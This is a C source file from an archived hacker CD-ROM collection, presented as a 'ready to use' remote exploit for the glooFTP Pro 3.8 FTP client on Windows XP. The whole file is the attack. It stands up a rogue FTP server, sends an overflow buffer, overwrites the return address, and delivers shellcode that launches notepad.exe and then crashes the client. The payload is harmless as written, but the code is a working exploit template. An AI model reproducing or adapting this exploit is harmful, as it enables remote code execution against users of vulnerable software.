home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / iexploit / IglooExloit.c
Encoding:
C/C++ Source or Header  |  2003-08-19  |  2.0 KB  |  94 lines

  1. /* IglooExploit.c (Windows XP Professional Build 2600.x)
  2. *
  3. * vkhoshain@hotmail.com
  4. * ---------------------------
  5. * glooFTP Pro 3.8 Remote exploit code is ready to use ;)
  6. * all you need to do is compile the source code and then
  7. * run the program and wait for glooFTP Pro 3.8 connection
  8. *
  9. * This one doesn't do anything , just run notepad.exe and then crash
  10. * the program by :
  11. * INT 3 ;)
  12. *
  13. */
  14.  
  15. #include "winsock2.h"
  16. #include "stdio.h"
  17. #pragma comment (lib,"ws2_32")
  18.  
  19. int main()
  20. {
  21.  
  22.     char spend[1024];
  23.     char shellcode[] =  "\x90\x90\x90\x90\x90\xEB\x13\x5F\x66\x31\xC0\x88\x47"
  24.                         "\x0E\x40\x50\x57\xB8\xC6\x84\xE6\x77\xFF\xD0\xCD\x03"
  25.                         "\xE8\xE8\xFF\xFF\xFF\x6E\x6F\x74\x65\x70\x61\x64\x20"
  26.                         "\x20\x20\x20\x20\x20\x20\x23";
  27.     WSADATA wsaData;
  28.     int s1,spt;
  29.     struct sockaddr_in p;
  30.     struct sockaddr_in emp;
  31.     int len;
  32. // Startup ...
  33.     WSAStartup(0x0101,&wsaData);
  34.  
  35.  
  36. // Creating first socket!
  37. printf("Creating socket ...\n");
  38.     if ((s1=socket(AF_INET,SOCK_STREAM,0))==-1){
  39.         printf("Err in Creating socket\n");
  40.         closesocket(s1);
  41.         return 0;
  42.     }
  43.     p.sin_port = htons(21);
  44.     p.sin_family =AF_INET;
  45.     p.sin_addr.s_addr = INADDR_ANY;
  46.  
  47.  
  48.  
  49. // Binding ---
  50. printf("Binding ...\n");
  51.     if ((bind(s1,(struct sockaddr*) &p,sizeof(p)))==-1)
  52.     {
  53.         printf("Err in Bind ...\n");
  54.         closesocket(s1);
  55.         return 0;
  56.     }
  57.  
  58. printf("going to start listening\n");
  59. if ((listen(s1,5))==-1)
  60. {
  61.     printf("Err in liten method ..\n");
  62.     closesocket(s1);
  63.     return 0;
  64. }
  65.  
  66. len=sizeof(emp);
  67.  
  68. // ACCEPTING
  69. printf("Listening on port 21 , please wait for glooFTP(ver3.8) connection 
  70. ...\n");
  71. spt=accept(s1,&emp,&len);
  72. printf("The ftp client has just connected ,please wait ...\n");
  73.  
  74. send(spt,"200 ",4,0);                      // Sending "200 "
  75.  
  76.  
  77. send(spt,spend,1024,0);                         //to recive RET addr place
  78.  
  79.  
  80. send(spt,"\x79\xfc\xe9\x77",4,0);         //EIP Address (RET Addr)
  81.  
  82.  
  83. send(spt,shellcode,46,0);                 //Sending Shellcode
  84.  
  85. send(spt,"\n",1,0);
  86.  
  87. closesocket(s1);
  88. closesocket(spt);
  89. printf("Shellcode has just sent , Done.\n");
  90.  
  91. return 0;
  92.  
  93. }
  94.